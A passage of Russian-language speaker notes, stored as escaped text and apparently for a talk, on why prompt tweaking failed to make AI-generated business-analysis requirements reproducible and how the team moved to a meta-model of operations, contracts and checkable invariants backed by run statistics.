\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\\n  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. 